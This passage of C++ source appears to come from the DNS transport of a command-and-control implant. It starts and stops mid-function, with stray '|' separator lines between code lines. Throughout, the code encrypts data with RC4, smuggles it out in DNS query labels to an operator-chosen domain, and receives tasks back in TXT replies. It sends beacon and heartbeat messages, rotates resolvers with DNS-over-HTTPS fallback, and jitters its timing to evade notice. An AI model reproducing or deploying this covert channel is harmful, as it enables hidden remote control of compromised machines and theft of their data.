memset(this->encryptKey, 0, sizeof(this->encryptKey));
|
|
memcpy(this->encryptKey, profile.encrypt_key, 16);
|
|
|
|
this->pktSize = profile.pkt_size ? profile.pkt_size : kDefaultPktSize;
|
|
if (this->pktSize > kMaxPktSize)
|
|
this->pktSize = kMaxPktSize;
|
|
|
|
this->labelSize = profile.label_size ? profile.label_size : kDefaultLabelSize;
|
|
if (this->labelSize == 0 || this->labelSize > kMaxLabelSize)
|
|
this->labelSize = kDefaultLabelSize;
|
|
|
|
if (profile.domain)
|
|
StrLCopyA(this->domain, (CHAR*)profile.domain, sizeof(this->domain));
|
|
else
|
|
this->domain[0] = 0;
|
|
|
|
StrLCopyA(this->qtype, (CHAR*)"TXT", sizeof(this->qtype));
|
|
|
|
if (!beat || !beatSize || beatSize < 8)
|
|
return FALSE;
|
|
|
|
// Extract agent ID from beat
|
|
BYTE* beatCopy = (BYTE*)MemAllocLocal(beatSize);
|
|
if (!beatCopy)
|
|
return FALSE;
|
|
memcpy(beatCopy, beat, beatSize);
|
|
|
|
EncryptRC4(beatCopy, beatSize, this->encryptKey, 16);
|
|
|
|
ULONG agentId = (beatSize >= 8) ? ReadBE32(beatCopy + 4) : 0;
|
|
MemFreeLocal((LPVOID*)&beatCopy, beatSize);
|
|
|
|
ApiWin->snprintf(this->sid, sizeof(this->sid), "%08x", agentId);
|
|
|
|
// Store beat for HI message
|
|
if (beat && beatSize) {
|
|
this->hiBeat = (BYTE*)MemAllocLocal(beatSize);
|
|
if (this->hiBeat) {
|
|
memcpy(this->hiBeat, beat, beatSize);
|
|
this->hiBeatSize = beatSize;
|
|
this->hiRetries = kMaxRetries;
|
|
this->hiSent = FALSE;
|
|
}
|
|
}
|
|
|
|
this->initialized = TRUE;
|
|
return TRUE;
|
|
}
|
|
|
|
void ConnectorDNS::CloseConnector()
|
|
{
|
|
// Cleanup WSA and cached resources
|
|
CleanupWSA();
|
|
|
|
CleanupDoH();
|
|
|
|
if (this->recvData) {
|
|
MemFreeLocal((LPVOID*)&this->recvData, (ULONG)this->recvSize);
|
|
this->recvData = NULL;
|
|
this->recvSize = 0;
|
|
}
|
|
if (this->hiBeat && this->hiBeatSize) {
|
|
MemFreeLocal((LPVOID*)&this->hiBeat, this->hiBeatSize);
|
|
this->hiBeat = NULL;
|
|
this->hiBeatSize = 0;
|
|
}
|
|
if (this->downBuf && this->downTotal) {
|
|
MemFreeLocal((LPVOID*)&this->downBuf, this->downTotal);
|
|
this->downBuf = NULL;
|
|
this->downTotal = 0;
|
|
this->downFilled = 0;
|
|
}
|
|
if (this->pendingUpload && this->pendingUploadSize) {
|
|
MemFreeLocal((LPVOID*)&this->pendingUpload, this->pendingUploadSize);
|
|
this->pendingUpload = NULL;
|
|
this->pendingUploadSize = 0;
|
|
}
|
|
}
|
|
|
|
void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
|
|
{
|
|
this->lastExchangeHadData = (plainData != NULL && plainSize > 0);
|
|
|
|
#ifdef BEACON_DNS
|
|
if (g_Agent) {
|
|
BYTE* dnsResolvers = g_Agent->config->profile.resolvers;
|
|
if (dnsResolvers && dnsResolvers != (BYTE*)this->GetResolvers())
|
|
this->UpdateResolvers(dnsResolvers);
|
|
|
|
this->UpdateSleepDelay(g_Agent->config->sleep_delay);
|
|
this->UpdateBurstConfig(g_Agent->config->profile.burst_enabled, g_Agent->config->profile.burst_sleep, g_Agent->config->profile.burst_jitter);
|
|
|
|
ULONG now = this->functions->GetTickCount();
|
|
if (this->nextForcePollTick == 0)
|
|
this->nextForcePollTick = now + 1500 + (now & 0x3FF);
|
|
|
|
BOOL idle = !this->lastExchangeHadData && !this->IsBusy() && (this->pendingUpload == NULL);
|
|
if (idle && now >= this->nextForcePollTick) {
|
|
ULONG baseSleep = this->sleepDelaySeconds;
|
|
ULONG interval = baseSleep * 3000;
|
|
if (interval < 6000) interval = 6000;
|
|
if (interval > 60000) interval = 60000;
|
|
interval += (now & 0x3FF);
|
|
this->nextForcePollTick = now + interval;
|
|
|
|
if (!this->IsForcePollPending())
|
|
this->ForcePollOnce();
|
|
}
|
|
}
|
|
#endif
|
|
|
|
// Handle pending upload retry
|
|
if (this->pendingUpload && this->pendingUploadSize) {
|
|
ULONG now = this->functions->GetTickCount();
|
|
if (now >= this->nextUploadAttemptTick) {
|
|
this->SendData(this->pendingUpload, this->pendingUploadSize);
|
|
if (this->lastQueryOk) {
|
|
MemFreeLocal((LPVOID*)&this->pendingUpload, this->pendingUploadSize);
|
|
this->pendingUpload = NULL;
|
|
this->pendingUploadSize = 0;
|
|
this->uploadBackoffMs = 0;
|
|
this->nextUploadAttemptTick = 0;
|
|
}
|
|
else {
|
|
ULONG base = this->uploadBackoffMs ? this->uploadBackoffMs : 500;
|
|
ULONG next = base * 2;
|
|
if (next > 30000) next = 30000;
|
|
this->uploadBackoffMs = next;
|
|
this->nextUploadAttemptTick = this->functions->GetTickCount() + this->uploadBackoffMs + (this->functions->GetTickCount() & 0x3FF);
|
|
}
|
|
}
|
|
else {
|
|
this->SendData(NULL, 0);
|
|
}
|
|
}
|
|
else if (plainData && plainSize > 0) {
|
|
BYTE* payload = plainData;
|
|
ULONG payloadLen = plainSize;
|
|
BYTE flags = 0;
|
|
|
|
const ULONG minCompressSize = 512;
|
|
if (payloadLen > minCompressSize) {
|
|
BYTE* compBuf = NULL;
|
|
ULONG compLen = 0;
|
|
if (DnsCodec::Compress(payload, payloadLen, &compBuf, &compLen) && compBuf && compLen > 0 && compLen < payloadLen) {
|
|
payload = compBuf;
|
|
payloadLen = compLen;
|
|
flags = 1;
|
|
}
|
|
}
|
|
|
|
ULONG sessionLen = 1 + 4 + payloadLen;
|
|
BYTE* sessionBuf = (BYTE*)MemAllocLocal(sessionLen);
|
|
BYTE* sendBuf = NULL;
|
|
ULONG sendLen = 0;
|
|
|
|
if (sessionBuf) {
|
|
sessionBuf[0] = flags;
|
|
sessionBuf[1] = (BYTE)(plainSize & 0xFF);
|
|
sessionBuf[2] = (BYTE)((plainSize >> 8) & 0xFF);
|
|
sessionBuf[3] = (BYTE)((plainSize >> 16) & 0xFF);
|
|
sessionBuf[4] = (BYTE)((plainSize >> 24) & 0xFF);
|
|
memcpy(sessionBuf + 5, payload, payloadLen);
|
|
EncryptRC4(sessionBuf, (int)sessionLen, sessionKey, 16);
|
|
sendBuf = sessionBuf;
|
|
sendLen = sessionLen;
|
|
}
|
|
else {
|
|
EncryptRC4(plainData, (int)plainSize, sessionKey, 16);
|
|
sendBuf = plainData;
|
|
sendLen = plainSize;
|
|
}
|
|
|
|
this->SendData(sendBuf, sendLen);
|
|
|
|
// Handle failed upload - store for retry
|
|
if (!this->lastQueryOk && sendBuf && sendLen) {
|
|
this->pendingUpload = (BYTE*)MemAllocLocal(sendLen);
|
|
if (this->pendingUpload) {
|
|
memcpy(this->pendingUpload, sendBuf, sendLen);
|
|
this->pendingUploadSize = sendLen;
|
|
this->uploadBackoffMs = 500;
|
|
this->nextUploadAttemptTick = this->functions->GetTickCount() + this->uploadBackoffMs + (this->functions->GetTickCount() & 0x3FF);
|
|
}
|
|
}
|
|
|
|
if (sessionBuf)
|
|
MemFreeLocal((LPVOID*)&sessionBuf, sessionLen);
|
|
|
|
if ((flags & 0x1) && payload && payload != plainData)
|
|
MemFreeLocal((LPVOID*)&payload, payloadLen);
|
|
}
|
|
else {
|
|
this->SendData(NULL, 0);
|
|
}
|
|
|
|
// Decrypt received data with session key
|
|
if (this->recvSize > 0 && this->recvData) {
|
|
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
|
|
}
|
|
}
|
|
|
|
void ConnectorDNS::Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput)
|
|
{
|
|
BOOL isBusy = this->IsBusy();
|
|
BOOL burst = isBusy || (this->lastUpTotal >= 1024) || (this->lastDownTotal >= 1024) || hasOutput;
|
|
|
|
if (burst && this->profile.burst_enabled) {
|
|
ULONG burstMs = this->profile.burst_sleep;
|
|
ULONG burstJitter = this->profile.burst_jitter;
|
|
if (burstMs == 0)
|
|
burstMs = 50;
|
|
|
|
if (burstJitter > 0 && burstJitter <= 90) {
|
|
ULONG jitterRange = (burstMs * burstJitter) / 100;
|
|
ULONG jitterDelta = this->functions->GetTickCount() % (jitterRange + 1);
|
|
burstMs = burstMs - (jitterRange / 2) + jitterDelta;
|
|
if (burstMs < 10)
|
|
burstMs = 10;
|
|
}
|
|
mySleep(burstMs);
|
|
this->ResetTrafficTotals();
|
|
}
|
|
else {
|
|
WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter);
|
|
if (burst)
|
|
this->ResetTrafficTotals();
|
|
}
|
|
}
|
|
|
|
void ConnectorDNS::UpdateResolvers(BYTE* resolvers)
|
|
{
|
|
this->profile.resolvers = resolvers;
|
|
ParseResolvers((CHAR*)resolvers);
|
|
}
|
|
|
|
void ConnectorDNS::UpdateBurstConfig(ULONG enabled, ULONG sleepMs, ULONG jitterPct)
|
|
{
|
|
this->profile.burst_enabled = enabled;
|
|
this->profile.burst_sleep = sleepMs;
|
|
this->profile.burst_jitter = jitterPct;
|
|
}
|
|
|
|
void ConnectorDNS::GetBurstConfig(ULONG* enabled, ULONG* sleepMs, ULONG* jitterPct)
|
|
{
|
|
if (enabled) *enabled = this->profile.burst_enabled;
|
|
if (sleepMs) *sleepMs = this->profile.burst_sleep;
|
|
if (jitterPct) *jitterPct = this->profile.burst_jitter;
|
|
}
|
|
|
|
void ConnectorDNS::UpdateSleepDelay(ULONG sleepSeconds)
|
|
{
|
|
this->sleepDelaySeconds = sleepSeconds;
|
|
}
|
|
|
|
BOOL ConnectorDNS::QueryUdpWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
|
|
if (this->resolverCount == 0)
|
|
return FALSE;
|
|
|
|
for (ULONG i = 0; i < this->resolverCount; ++i) {
|
|
ULONG idx = (this->currentResolverIndex + i) % this->resolverCount;
|
|
CHAR* resolver = this->resolverList[idx];
|
|
if (!resolver || !*resolver) continue;
|
|
|
|
ULONG nowTick = this->functions->GetTickCount();
|
|
if (this->resolverDisabledUntil[idx] && nowTick < this->resolverDisabledUntil[idx])
|
|
continue;
|
|
|
|
if (QuerySingle(qname, resolver, qtypeStr, outBuf, outBufSize, outSize)) {
|
|
this->currentResolverIndex = idx;
|
|
this->resolverFailCount[idx] = 0;
|
|
this->resolverDisabledUntil[idx] = 0;
|
|
return TRUE;
|
|
}
|
|
|
|
this->resolverFailCount[idx]++;
|
|
|
|
if (this->resolverFailCount[idx] >= kMaxFailCount) {
|
|
ULONG backoff = 30000;
|
|
if (this->sleepDelaySeconds > 0) {
|
|
ULONG b = this->sleepDelaySeconds * 2000;
|
|
if (b < 5000) b = 5000;
|
|
if (b > 30000) b = 30000;
|
|
backoff = b;
|
|
}
|
|
ULONG currentTick = this->functions->GetTickCount();
|
|
ULONG jitter = currentTick & 0x0FFF;
|
|
this->resolverDisabledUntil[idx] = currentTick + backoff + jitter;
|
|
this->resolverFailCount[idx] = 0;
|
|
}
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL ConnectorDNS::QueryWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
|
|
switch (this->dnsMode) {
|
|
case DNS_MODE_UDP:
|
|
return QueryUdpWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize);
|
|
|
|
case DNS_MODE_DOH:
|
|
return QueryDoHWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize);
|
|
|
|
case DNS_MODE_UDP_FALLBACK:
|
|
if (QueryUdpWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize))
|
|
return TRUE;
|
|
return QueryDoHWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize);
|
|
|
|
case DNS_MODE_DOH_FALLBACK:
|
|
if (QueryDoHWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize))
|
|
return TRUE;
|
|
return QueryUdpWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize);
|
|
|
|
default:
|
|
return QueryUdpWithRotation(qname, qtypeStr, outBuf, outBufSize, outSize);
|
|
}
|
|
}
|
|
|
|
// Private helper: Send heartbeat (HB) request
|
|
void ConnectorDNS::SendHeartbeat()
|
|
{
|
|
CHAR qnameA[512];
|
|
ULONG hbNonce = this->functions->GetTickCount() ^ (this->seq * 7919);
|
|
BYTE hbData[kAckDataSize];
|
|
BuildAckData(hbData, this->downAckOffset, hbNonce, this->downTaskNonce);
|
|
EncryptRC4(hbData, kAckDataSize, this->encryptKey, 16);
|
|
|
|
CHAR hbLabel[32] = { 0 };
|
|
DnsCodec::Base32Encode(hbData, kAckDataSize, hbLabel, sizeof(hbLabel));
|
|
|
|
ULONG hbLogicalSeq = this->seq + 1;
|
|
ULONG hbWireSeq = BuildWireSeq(hbLogicalSeq, kDnsSignalBits);
|
|
DnsCodec::BuildQName(this->sid, "hb", hbWireSeq, this->idx, hbLabel, this->domain, qnameA, sizeof(qnameA));
|
|
|
|
BYTE ipBuf[16];
|
|
ULONG ipSize = 0;
|
|
if (QueryWithRotation(qnameA, "A", ipBuf, sizeof(ipBuf), &ipSize) && ipSize >= 4) {
|
|
this->lastQueryOk = TRUE;
|
|
this->consecutiveFailures = 0;
|
|
|
|
// Parse HB response: [flags:1][reserved:3]
|
|
// Flags: 0x01 = has pending tasks, 0x02 = needs_reset
|
|
BYTE flags = ipBuf[0];
|
|
BOOL hasPending = (flags & 0x01) != 0;
|
|
BOOL needsReset = (flags & 0x02) != 0;
|
|
|
|
if (needsReset) {
|
|
// Server indicates our upload was lost - reset upload state
|
|
this->uploadNeedsReset = TRUE;
|
|
ResetUploadState();
|
|
}
|
|
|
|
if (!hasPending) {
|
|
this->seq++;
|
|
this->downAckOffset = 0;
|
|
this->hasPendingTasks = FALSE;
|
|
return;
|
|
}
|
|
this->hasPendingTasks = TRUE;
|
|
this->seq++;
|
|
}
|
|
else {
|
|
this->lastQueryOk = FALSE;
|
|
this->consecutiveFailures++;
|
|
|
|
if (this->consecutiveFailures >= 5) {
|
|
this->hasPendingTasks = FALSE;
|
|
this->downAckOffset = 0;
|
|
// Don't reset downBuf/downTotal - keep download state if in progress
|
|
}
|
|
}
|
|
}
|
|
|
|
// Private helper: Send ACK after upload
|
|
void ConnectorDNS::SendAck()
|
|
{
|
|
ULONG ackNonce = this->functions->GetTickCount() ^ (this->seq * 7919) ^ 0xACEACE;
|
|
BYTE ackData[kAckDataSize];
|
|
BuildAckData(ackData, this->downAckOffset, ackNonce, this->downTaskNonce);
|
|
EncryptRC4(ackData, kAckDataSize, this->encryptKey, 16);
|
|
|
|
CHAR ackLabel[32] = { 0 };
|
|
DnsCodec::Base32Encode(ackData, kAckDataSize, ackLabel, sizeof(ackLabel));
|
|
|
|
CHAR ackQname[256];
|
|
DnsCodec::BuildQName(this->sid, "hb", ++this->seq, this->idx, ackLabel, this->domain, ackQname, sizeof(ackQname));
|
|
|
|
BYTE tmp[16];
|
|
ULONG tmpSize = 0;
|
|
QueryWithRotation(ackQname, "A", tmp, sizeof(tmp), &tmpSize);
|
|
}
|
|
|
|
// Private helper: Finalize completed download
|
|
void ConnectorDNS::FinalizeDownload()
|
|
{
|
|
BYTE* finalBuf = this->downBuf;
|
|
ULONG finalSize = this->downTotal;
|
|
|
|
if (this->downTotal > kFrameHeaderSize) {
|
|
BYTE flags = this->downBuf[0];
|
|
ULONG orig = 0;
|
|
orig |= (ULONG)this->downBuf[5];
|
|
orig |= ((ULONG)this->downBuf[6] << 8);
|
|
orig |= ((ULONG)this->downBuf[7] << 16);
|
|
orig |= ((ULONG)this->downBuf[8] << 24);
|
|
|
|
if ((flags & 0x1) && orig > 0 && orig <= kMaxDownloadSize) {
|
|
// Compressed data
|
|
BYTE* outBuf = NULL;
|
|
if (DnsCodec::Decompress(this->downBuf + kFrameHeaderSize, this->downTotal - kFrameHeaderSize, &outBuf, orig) && outBuf) {
|
|
finalBuf = outBuf;
|
|
finalSize = orig;
|
|
MemFreeLocal((LPVOID*)&this->downBuf, this->downTotal);
|
|
this->downBuf = NULL;
|
|
}
|
|
}
|
|
else if (flags == 0 && orig > 0 && orig <= this->downTotal - kFrameHeaderSize) {
|
|
// Uncompressed data
|
|
BYTE* outBuf = (BYTE*)MemAllocLocal(orig);
|
|
if (outBuf) {
|
|
memcpy(outBuf, this->downBuf + kFrameHeaderSize, orig);
|
|
finalBuf = outBuf;
|
|
finalSize = orig;
|
|
MemFreeLocal((LPVOID*)&this->downBuf, this->downTotal);
|
|
this->downBuf = NULL;
|
|
}
|
|
}
|
|
}
|
|
|
|
this->recvData = finalBuf;
|
|
this->recvSize = (int)finalSize;
|
|
this->lastDownTotal = finalSize;
|
|
this->downAckOffset = this->downTotal;
|
|
this->downBuf = NULL;
|
|
this->downTotal = 0;
|
|
this->downFilled = 0;
|
|
this->hasPendingTasks = FALSE;
|
|
}
|
|
|
|
void ConnectorDNS::SendData(BYTE* data, ULONG data_size)
|
|
{
|
|
ULONG pkt = this->pktSize ? this->pktSize : kDefaultPktSize;
|
|
if (pkt > kMaxPktSize)
|
|
pkt = kMaxPktSize;
|
|
|
|
CHAR dataLabel[1024];
|
|
CHAR qname[512];
|
|
|
|
// Handle HI message (first contact)
|
|
if (!this->hiSent && data && data_size) {
|
|
memset(dataLabel, 0, sizeof(dataLabel));
|
|
memset(qname, 0, sizeof(qname));
|
|
|
|
ULONG maxBuf = pkt;
|
|
if (maxBuf > kMaxSafeFrame)
|
|
maxBuf = kMaxSafeFrame;
|
|
if (data_size && maxBuf > data_size)
|
|
maxBuf = data_size;
|
|
|
|
BYTE* encBuf = (BYTE*)MemAllocLocal(maxBuf);
|
|
if (!encBuf)
|
|
return;
|
|
memcpy(encBuf, data, maxBuf);
|
|
if (!DnsCodec::BuildDataLabels(encBuf, maxBuf, this->labelSize, dataLabel, sizeof(dataLabel))) {
|
|
MemFreeLocal((LPVOID*)&encBuf, maxBuf);
|
|
return;
|
|
}
|
|
MemFreeLocal((LPVOID*)&encBuf, maxBuf);
|
|
|
|
ULONG hiWireSeq = BuildWireSeq(this->seq, kDnsSignalBits);
|
|
DnsCodec::BuildQName(this->sid, "www", hiWireSeq, this->idx, dataLabel, this->domain, qname, sizeof(qname));
|
|
|
|
BYTE tmp[512];
|
|
ULONG tmpSize = 0;
|
|
this->lastQueryOk = QueryWithRotation(qname, this->qtype, tmp, sizeof(tmp), &tmpSize);
|
|
if (this->lastQueryOk) {
|
|
this->hiSent = TRUE;
|
|
this->consecutiveFailures = 0;
|
|
}
|
|
else if (this->hiRetries > 0)
|
|
this->hiRetries--;
|
|
return;
|
|
}
|
|
|
|
// Handle data upload
|
|
if (data && data_size) {
|
|
this->lastQueryOk = TRUE;
|
|
ULONG total = data_size;
|
|
ULONG maxChunk = pkt;
|
|
if (maxChunk <= kHeaderSize)
|
|
maxChunk = kHeaderSize + 1;
|
|
maxChunk -= kHeaderSize;
|
|
|
|
if (maxChunk + kHeaderSize > kMaxSafeFrame)
|
|
maxChunk = kMaxSafeFrame - kHeaderSize;
|
|
|
|
if (total > kMaxUploadSize)
|
|
total = kMaxUploadSize;
|
|
|
|
// Reset upload tracking state
|
|
ResetUploadState();
|
|
this->uploadStartTime = this->functions->GetTickCount();
|
|
|
|
ULONG seqForSend = ++this->seq;
|
|
ULONG offset = 0;
|
|
BOOL uploadComplete = FALSE;
|
|
int maxUploadRetries = 5;
|
|
|
|
while (!uploadComplete && maxUploadRetries > 0) {
|
|
// Find next unconfirmed offset
|
|
ULONG sendOffset = offset;
|
|
while (sendOffset < total && IsOffsetConfirmed(sendOffset)) {
|
|
sendOffset += maxChunk;
|
|
}
|
|
|
|
if (sendOffset >= total) {
|
|
// All offsets confirmed
|
|
uploadComplete = TRUE;
|
|
break;
|
|
}
|
|
|
|
ULONG chunk = total - sendOffset;
|
|
if (chunk > maxChunk)
|
|
chunk = maxChunk;
|
|
|
|
ULONG frameSize = kHeaderSize + chunk;
|
|
BYTE* frame = (BYTE*)MemAllocLocal(frameSize);
|
|
if (!frame)
|
|
return;
|
|
|
|
DNS_META_V1 meta;
|
|
MetaV1Init(&meta);
|
|
if (this->downAckOffset > 0) {
|
|
meta.metaFlags |= 0x01;
|
|
meta.downAckOffset = this->downAckOffset;
|
|
}
|
|
memcpy(frame, &meta, kMetaSize);
|
|
WriteBE32(frame + kMetaSize, total);
|
|
WriteBE32(frame + kMetaSize + 4, sendOffset);
|
|
memcpy(frame + kHeaderSize, data + sendOffset, chunk);
|
|
|
|
EncryptRC4(frame, frameSize, this->encryptKey, 16);
|
|
|
|
memset(dataLabel, 0, sizeof(dataLabel));
|
|
if (!DnsCodec::BuildDataLabels(frame, frameSize, this->labelSize, dataLabel, sizeof(dataLabel))) {
|
|
MemFreeLocal((LPVOID*)&frame, frameSize);
|
|
return;
|
|
}
|
|
MemFreeLocal((LPVOID*)&frame, frameSize);
|
|
|
|
ULONG putWireSeq = BuildWireSeq(seqForSend, kDnsSignalBits);
|
|
DnsCodec::BuildQName(this->sid, "cdn", putWireSeq, this->idx, dataLabel, this->domain, qname, sizeof(qname));
|
|
|
|
BYTE tmp[512];
|
|
ULONG tmpSize = 0;
|
|
BOOL putOk = FALSE;
|
|
for (int retry = 0; retry < 3 && !putOk; retry++) {
|
|
if (retry > 0) {
|
|
this->functions->Sleep(100 + (this->functions->GetTickCount() % 50));
|
|
}
|
|
putOk = QueryWithRotation(qname, this->qtype, tmp, sizeof(tmp), &tmpSize);
|
|
}
|
|
|
|
if (!putOk) {
|
|
this->lastQueryOk = FALSE;
|
|
maxUploadRetries--;
|
|
continue;
|
|
}
|
|
|
|
// Parse PUT ACK response
|
|
ULONG nextExpected = 0;
|
|
BOOL complete = FALSE;
|
|
BOOL needsReset = FALSE;
|
|
if (tmpSize >= 4 && ParsePutAckResponse(tmp, tmpSize, &nextExpected, &complete, &needsReset)) {
|
|
if (needsReset) {
|
|
// Server requested upload reset - restart from beginning
|
|
ResetUploadState();
|
|
offset = 0;
|
|
maxUploadRetries--;
|
|
continue;
|
|
}
|
|
if (complete) {
|
|
uploadComplete = TRUE;
|
|
break;
|
|
}
|
|
// Mark current offset as confirmed
|
|
MarkOffsetConfirmed(sendOffset);
|
|
this->lastAckNextExpected = nextExpected;
|
|
|
|
// Check if server expects a different offset (gap detected)
|
|
if (nextExpected < sendOffset && !IsOffsetConfirmed(nextExpected))
|
|
// Server wants us to resend an earlier fragment
|
|
offset = nextExpected;
|
|
else
|
|
offset = sendOffset + chunk;
|
|
}
|
|
else {
|
|
// Failed to parse response, assume current offset is ok and continue
|
|
MarkOffsetConfirmed(sendOffset);
|
|
offset = sendOffset + chunk;
|
|
}
|
|
|
|
// Inter-fragment pacing
|
|
if (this->profile.burst_enabled && this->profile.burst_sleep > 0) {
|
|
// Burst ON: use burst_sleep (milliseconds)
|
|
ULONG pacing = this->profile.burst_sleep;
|
|
ULONG jitterPct = this->profile.burst_jitter;
|
|
if (jitterPct > 0 && jitterPct <= 90) {
|
|
ULONG jitterRange = (pacing * jitterPct) / 100;
|
|
ULONG jitterDelta = this->functions->GetTickCount() % (jitterRange + 1);
|
|
pacing = pacing - (jitterRange / 2) + jitterDelta;
|
|
if (pacing < 10) pacing = 10;
|
|
}
|
|
this->functions->Sleep(pacing);
|
|
}
|
|
else if (this->sleepDelaySeconds > 0) {
|
|
// Burst OFF: use sleep_delay (seconds -> milliseconds)
|
|
ULONG pacing = this->sleepDelaySeconds * 1000;
|
|
this->functions->Sleep(pacing);
|
|
}
|
|
}
|
|
|
|
if (uploadComplete || offset >= total) {
|
|
this->lastUpTotal = total;
|
|
this->lastQueryOk = TRUE;
|
|
this->consecutiveFailures = 0;
|
|
}
|
|
else {
|
|
this->lastQueryOk = FALSE;
|
|
this->consecutiveFailures++;
|
|
|
|
if (this->consecutiveFailures >= 5) {
|
|
this->hasPendingTasks = FALSE;
|
|
}
|
|
}
|
|
|
|
// Send ACK if needed
|
|
if (this->downAckOffset > 0)
|
|
SendAck();
|
|
return;
|
|
}
|
|
|
|
if (!this->hiSent && this->hiBeat && this->hiBeatSize) {
|
|
memset(dataLabel, 0, sizeof(dataLabel));
|
|
memset(qname, 0, sizeof(qname));
|
|
|
|
ULONG retrySize = this->hiBeatSize;
|
|
if (retrySize > pkt)
|
|
retrySize = pkt;
|
|
|
|
BYTE* encBuf = (BYTE*)MemAllocLocal(retrySize);
|
|
if (!encBuf)
|
|
return;
|
|
memcpy(encBuf, this->hiBeat, retrySize);
|
|
if (!DnsCodec::BuildDataLabels(encBuf, retrySize, this->labelSize, dataLabel, sizeof(dataLabel))) {
|
|
MemFreeLocal((LPVOID*)&encBuf, retrySize);
|
|
return;
|
|
}
|
|
MemFreeLocal((LPVOID*)&encBuf, retrySize);
|
|
|
|
ULONG hiRetryWireSeq = BuildWireSeq(this->seq, kDnsSignalBits);
|
|
DnsCodec::BuildQName(this->sid, "www", hiRetryWireSeq, this->idx, dataLabel, this->domain, qname, sizeof(qname));
|
|
|
|
BYTE tmp[512];
|
|
ULONG tmpSize = 0;
|
|
if (QueryWithRotation(qname, this->qtype, tmp, sizeof(tmp), &tmpSize)) {
|
|
this->hiSent = TRUE;
|
|
this->lastQueryOk = TRUE;
|
|
this->consecutiveFailures = 0;
|
|
}
|
|
else {
|
|
this->lastQueryOk = FALSE;
|
|
this->consecutiveFailures++;
|
|
}
|
|
return;
|
|
}
|
|
|
|
// Send heartbeat if no pending download and no pending tasks
|
|
// Also send heartbeat if connection was lost (consecutiveFailures > 0) to recover
|
|
if (!this->forcePoll && !this->downBuf && (!this->hasPendingTasks || this->consecutiveFailures > 0)) {
|
|
SendHeartbeat();
|
|
// If heartbeat indicates pending tasks, continue to API request
|
|
if (!this->hasPendingTasks)
|
|
return;
|
|
}
|
|
|
|
if (this->forcePoll)
|
|
this->forcePoll = FALSE;
|
|
|
|
// Handle download (GET)
|
|
ULONG reqOffset = this->downFilled;
|
|
ULONG nonce = this->functions->GetTickCount() ^ (this->seq << 16) ^ (reqOffset * 31337);
|
|
|
|
BYTE reqData[kReqDataSize];
|
|
WriteBE32(reqData, reqOffset);
|
|
WriteBE32(reqData + 4, nonce);
|
|
EncryptRC4(reqData, kReqDataSize, this->encryptKey, 16);
|
|
|
|
CHAR reqLabel[24];
|
|
memset(reqLabel, 0, sizeof(reqLabel));
|
|
DnsCodec::Base32Encode(reqData, kReqDataSize, reqLabel, sizeof(reqLabel));
|
|
|
|
ULONG logicalSeq = ++this->seq;
|
|
ULONG getWireSeq = BuildWireSeq(logicalSeq, kDnsSignalBits);
|
|
memset(qname, 0, sizeof(qname));
|
|
DnsCodec::BuildQName(this->sid, "api", getWireSeq, this->idx, reqLabel, this->domain, qname, sizeof(qname));
|
|
|
|
BYTE respBuf[1024];
|
|
ULONG respSize = 0;
|
|
if (QueryWithRotation(qname, this->qtype, respBuf, sizeof(respBuf), &respSize) && respSize > 0) {
|
|
this->lastQueryOk = TRUE;
|
|
this->consecutiveFailures = 0;
|
|
|
|
// Check for "no data" response: "OK" or empty/small response
|
|
if ((respSize == 2 && respBuf[0] == 'O' && respBuf[1] == 'K') ||
|
|
(respSize <= 4)) {
|
|
this->hasPendingTasks = FALSE; // Reset flag when server says "no data"
|
|
return;
|
|
}
|
|
|
|
BYTE binBuf[1024];
|
|
int binLen = DnsCodec::Base64Decode((const CHAR*)respBuf, respSize, binBuf, sizeof(binBuf));
|
|
if (binLen <= 0) {
|
|
ResetDownload();
|
|
return;
|
|
}
|
|
|
|
DecryptRC4(binBuf, binLen, this->encryptKey, 16);
|
|
|
|
const ULONG headerSize = 8;
|
|
if (binLen > (int)headerSize) {
|
|
ULONG total = ReadBE32(binBuf);
|
|
ULONG offset = ReadBE32(binBuf + 4);
|
|
ULONG chunkLen = binLen - headerSize;
|
|
|
|
if (total > kMaxDownloadSize) {
|
|
ResetDownload();
|
|
return;
|
|
}
|
|
|
|
if (total > 0 && total <= kMaxDownloadSize && offset < total) {
|
|
// Extract task nonce from first chunk (if this is offset 0)
|
|
ULONG chunkTaskNonce = 0;
|
|
if (offset == 0 && chunkLen >= 9)
|
|
chunkTaskNonce = ReadLE32(binBuf + headerSize + 1);
|
|
|
|
// Determine if this is a new task or continuation
|
|
BOOL isNewTask = FALSE;
|
|
BOOL isValidContinuation = FALSE;
|
|
|
|
if (!this->downBuf || this->downTotal == 0) {
|
|
// No current download - this must be a new task
|
|
isNewTask = TRUE;
|
|
}
|
|
else if (this->downTotal != total) {
|
|
// Different total size - definitely a new task
|
|
isNewTask = TRUE;
|
|
}
|
|
else if (offset == 0 && chunkTaskNonce != 0) {
|
|
// Offset 0 chunk with nonce - check if it's a new task
|
|
if (chunkTaskNonce != this->downTaskNonce) {
|
|
// Different nonce - new task
|
|
isNewTask = TRUE;
|
|
}
|
|
else if (this->downFilled > 0) {
|
|
// Same nonce but we already have data - this is a retransmission
|
|
// Ignore if we've already acked this
|
|
if (this->downAckOffset > 0) {
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
// Continuation chunk - validate offset
|
|
isValidContinuation = TRUE;
|
|
}
|
|
|
|
// Handle offset mismatch for continuation chunks
|
|
if (isValidContinuation && offset != reqOffset) {
|
|
// Server sent different offset than we requested
|
|
if (offset == 0 && chunkLen >= 9) {
|
|
// Server is starting a new task - extract and check nonce
|
|
ULONG newNonce = ReadLE32(binBuf + headerSize + 1);
|
|
|
|
if (newNonce != 0 && newNonce != this->downTaskNonce) {
|
